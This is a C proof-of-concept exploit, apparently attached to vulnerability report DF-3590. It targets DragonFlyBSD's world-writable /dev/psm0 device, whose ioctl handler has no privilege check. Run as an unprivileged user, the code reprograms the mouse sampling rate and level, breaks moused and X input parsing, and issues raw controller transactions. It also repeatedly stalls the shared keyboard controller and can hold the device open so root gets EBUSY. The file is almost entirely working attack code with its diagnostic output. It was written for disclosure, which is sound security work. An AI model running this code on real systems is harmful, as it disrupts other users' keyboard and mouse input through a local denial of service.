DF-3590 / psm_ioctl_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | /* * DF-3590 PoC — unprivileged control of /dev/psm0 (mode 0666) on DragonFlyBSD. * * Run as an unprivileged user. Demonstrates that psmioctl() has no * privilege check anywhere: any local user can * - open the device (which enables the PS/2 aux device + IRQ12), * - reprogram sampling rate / resolution / operation level, * - issue controller status/data transactions (MOUSE_READDATA), * - hold the device open so that moused(8)/X get EBUSY forever. * * Every ioctl below runs block_mouse_data() which disables the keyboard * port + keyboard interrupt on the shared i8042 for the duration of the * controller transaction (sys/dev/misc/psm/psm.c:2539-2575). */ #include <sys/ioctl.h> #include <sys/mouse.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> static double now_sec(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } /* mouse.h keeps these under "#if 0 notyet"; psm.c implements them behind * "#if defined(...)" so they are dead there. The LIVE reprogramming path * is MOUSE_SETMODE (rate/resolution/accelfactor/level all at once). */ #define PSM_LEVEL_NATIVE 2 static void dump_mode(const char *tag, mousemode_t *m) { printf("[%s] level=%d rate=%d resolution=%d accelfactor=%d " "packetsize=%d\n", tag, m->level, m->rate, m->resolution, m->accelfactor, m->packetsize); } int main(int argc, char **argv) { int fd, i, v, iocalls = 0, fail = 0; mousemode_t mode; mousedata_t data; double t0, t1; fd = open("/dev/psm0", O_RDWR | O_NONBLOCK); if (fd < 0) { if (errno == EBUSY) { printf("open: EBUSY (device already held -- " "denial already proven)\n"); return (0); } printf("open failed: %s\n", strerror(errno)); return (1); } printf("uid=%d opened /dev/psm0 (O_RDWR): OK -- device is now " "ENABLED (aux IRQ12 armed) by an unprivileged user\n", getuid()); /* 1. read state */ if (ioctl(fd, MOUSE_GETLEVEL, &v) == 0) { printf("MOUSE_GETLEVEL: %d\n", v); iocalls++; } else { printf("MOUSE_GETLEVEL: %s\n", strerror(errno)); fail++; } if (ioctl(fd, MOUSE_GETMODE, &mode) == 0) { dump_mode("MOUSE_GETMODE", &mode); iocalls++; } else { printf("MOUSE_GETMODE: %s\n", strerror(errno)); fail++; } /* 2. reprogram the device as an unprivileged user via MOUSE_SETMODE: * rate=20/s, resolution=MOUSE_RES_LOW, level unchanged (-1) */ memset(&mode, 0, sizeof(mode)); mode.rate = 20; mode.resolution = MOUSE_RES_LOW; /* -1 = keep */ mode.accelfactor = -1; mode.level = -1; t0 = now_sec(); if (ioctl(fd, MOUSE_SETMODE, &mode) == 0) { t1 = now_sec(); printf("MOUSE_SETMODE(rate=20,res=LOW): OK (%.1f ms of i8042 " "transaction, keyboard port disabled during it)\n", (t1 - t0) * 1000.0); iocalls++; } else { printf("MOUSE_SETMODE: %s\n", strerror(errno)); fail++; } /* 3. raw passthrough level */ v = PSM_LEVEL_NATIVE; /* 2 */ if (ioctl(fd, MOUSE_SETLEVEL, &v) == 0) { printf("MOUSE_SETLEVEL(NATIVE=2): OK -- moused(8)/X protocol " "parsing is now broken for this device\n"); iocalls++; } else { printf("MOUSE_SETLEVEL: %s\n", strerror(errno)); fail++; } /* 4. direct controller<->device transaction */ memset(&data, 0, sizeof(data)); data.len = 3; if (ioctl(fd, MOUSE_READDATA, &data) == 0) { printf("MOUSE_READDATA: OK, device returned %d bytes: " "%02x %02x %02x\n", data.len, (unsigned)data.buf[0] & 0xff, (unsigned)data.buf[1] & 0xff, (unsigned)data.buf[2] & 0xff); iocalls++; } else { printf("MOUSE_READDATA: %s\n", strerror(errno)); fail++; } /* 5. verify the reprogramming persisted */ if (ioctl(fd, MOUSE_GETMODE, &mode) == 0) { dump_mode("after attacks ", &mode); if (mode.rate == 20) printf("PERSISTED: unprivileged user changed mouse " "sampling rate to 20\n"); iocalls++; } /* 6. sustained controller hammering: every MOUSE_SETMODE call * disables the kbd port for the whole transaction. */ t0 = now_sec(); for (i = 0; i < 50; i++) { memset(&mode, 0, sizeof(mode)); mode.rate = 10 + (i % 90); mode.resolution = -1; mode.accelfactor = -1; mode.level = -1; if (ioctl(fd, MOUSE_SETMODE, &mode) != 0) fail++; iocalls++; } t1 = now_sec(); printf("50x MOUSE_SETMODE hammer: %.1f ms total (%.2f ms per call " "of shared-keyboard-controller downtime)\n", (t1 - t0) * 1000.0, (t1 - t0) * 1000.0 / 50.0); if (argc > 1 && strcmp(argv[1], "hold") == 0) { printf("holding /dev/psm0 open for 20s -- try opening it as " "root/moused now: expect EBUSY...\n"); fflush(stdout); sleep(20); } close(fd); printf("== %d ioctls issued as uid %d, %d failures ==\n", iocalls, getuid(), fail); return (fail != 0); } |